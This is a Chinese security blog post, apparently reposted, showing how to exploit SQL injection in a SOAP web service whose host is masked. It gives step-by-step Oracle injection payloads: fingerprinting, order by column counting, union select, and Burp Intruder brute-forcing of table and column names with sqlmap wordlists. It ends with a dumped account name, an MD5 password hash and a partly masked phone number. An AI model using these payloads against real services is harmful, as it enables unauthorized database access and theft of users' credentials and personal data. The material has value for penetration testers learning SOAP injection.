发现Web Services存在注入,无法用sqlmap怎么办?

  • A+
所属分类:gv7.me

如何对Web Services服务进行注入?

我们都知道sqlmap等一些工具不能对web services服务进行注入,因为web services使用的是SOAP协议,与我们提传统的http协议有些差异。手工+工具结合的方法完成这次的漏洞利用。下面我们一个案例演示一下,如何利用burp+sqlmap字典进行注入web services。

访问以下地址:

1
http://www.xxx.com/services

发现Web Services存在注入,无法用sqlmap怎么办?

0x01扫描

将列表中的的WSDL地址依次丢到AWVS的Web Services Scanner中进行扫描,发现存在sql注入

发现Web Services存在注入,无法用sqlmap怎么办?

0x02识别正常返回与异常返回

转到AWVS中的Web Services Editor中import刚才扫描的

正常返回(有数据)

发现Web Services存在注入,无法用sqlmap怎么办?

正常返回(无数据)

发现Web Services存在注入,无法用sqlmap怎么办?

异常返回

发现Web Services存在注入,无法用sqlmap怎么办?

0x03判断数据库类型

由于一般的jsp应用基本都使用oracle数据库,我们优先判断是否是oracle数据库!

注入语句:

1
2
3
-1' or chr(123)||chr(123)=chr(123)||chr(123) -- 
-1' or (select count (*) from user_tables)>0 --
-1' or (select count (*) from dual)>0 --

发现他们都返回正常,说明为oracle数据库
发现Web Services存在注入,无法用sqlmap怎么办?

0x04判断字段个数

使用 order by num语句来判断字段的个数。

根据以下注入语句的结果,可知字段个数为25

1
2
-1' or order by 25 --   /*返回正常*/
-1' or order by 26 -- /*返回异常*/

0x05确定每个字段类型

由于我们此时不知道每个字段的类型,所以先用null来代替。故注入语句构造如下:

1
-1' union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from user_tables --

发现Web Services存在注入,无法用sqlmap怎么办?

判断方法如下:

1
2
-1' union select 1,null,null,... from user_tables -- /*返回正常,说明该字段为数字型*/
-1' union select '1',null,null,... from user_tables -- /*返回正常,说明该字段为字符型*/

使用以上方法测试每个字段,发现它们都是字符型

1
-1' union select '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from user_tables --

发现Web Services存在注入,无法用sqlmap怎么办?

0x06爆破表名

由于这样的格式我们无法使用sqlmap进行注入。

思路:使用burp+sqlmap的tables字典,对下面语句的user_tables表名进行爆破。

设置AWVS的代理为burp suite的本机代理

发现Web Services存在注入,无法用sqlmap怎么办?

将数据包从AWVS的Web Servives Editor里送入burp suite的Intruder中

发现Web Services存在注入,无法用sqlmap怎么办?

选择sqlmap的txt目录下的表字典common-tables.txt,进行爆破。

发现Web Services存在注入,无法用sqlmap怎么办?

爆破表名结果

发现Web Services存在注入,无法用sqlmap怎么办?

0x07爆破字段名

爆破字段名,思路入爆破表名一致。语句是

1
-1' union select columns,'2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from  tbl_user --

注意:tbl_user为上一步骤爆破发现的表名,colums为使用burp加载sqlmap字段字典common-columns.txt进行爆破的地方。

发现Web Services存在注入,无法用sqlmap怎么办?

设置过程与爆破表名类似不在细说,爆破结果结果如图所示。

发现Web Services存在注入,无法用sqlmap怎么办?

0x08导出账号密码

综上最终注入语句为:

1
-1' union select user,password,mobile,'4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from  tbl_user --

发现Web Services存在注入,无法用sqlmap怎么办?

1
2
3
账号:DT*****AP 
密码:e10adc3949ba59abbe56e057f20f883e
电话:139*****887

参考文章

文章来源于gv7.me:发现Web Services存在注入,无法用sqlmap怎么办?

相关推荐: 那些值得我们去研究的工具

当下网络安全的工具层出不穷,质量参差不齐。大没必要到处收集。那些经得住时间考验的工具都是流传的经典。把它们用熟了,自然以一当百。它们当中的一些开源的,最好去阅读一下源码。那些设计,那些编码都体现着hack编程精华。吾等自当研习工具中的一招一式! firefox…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: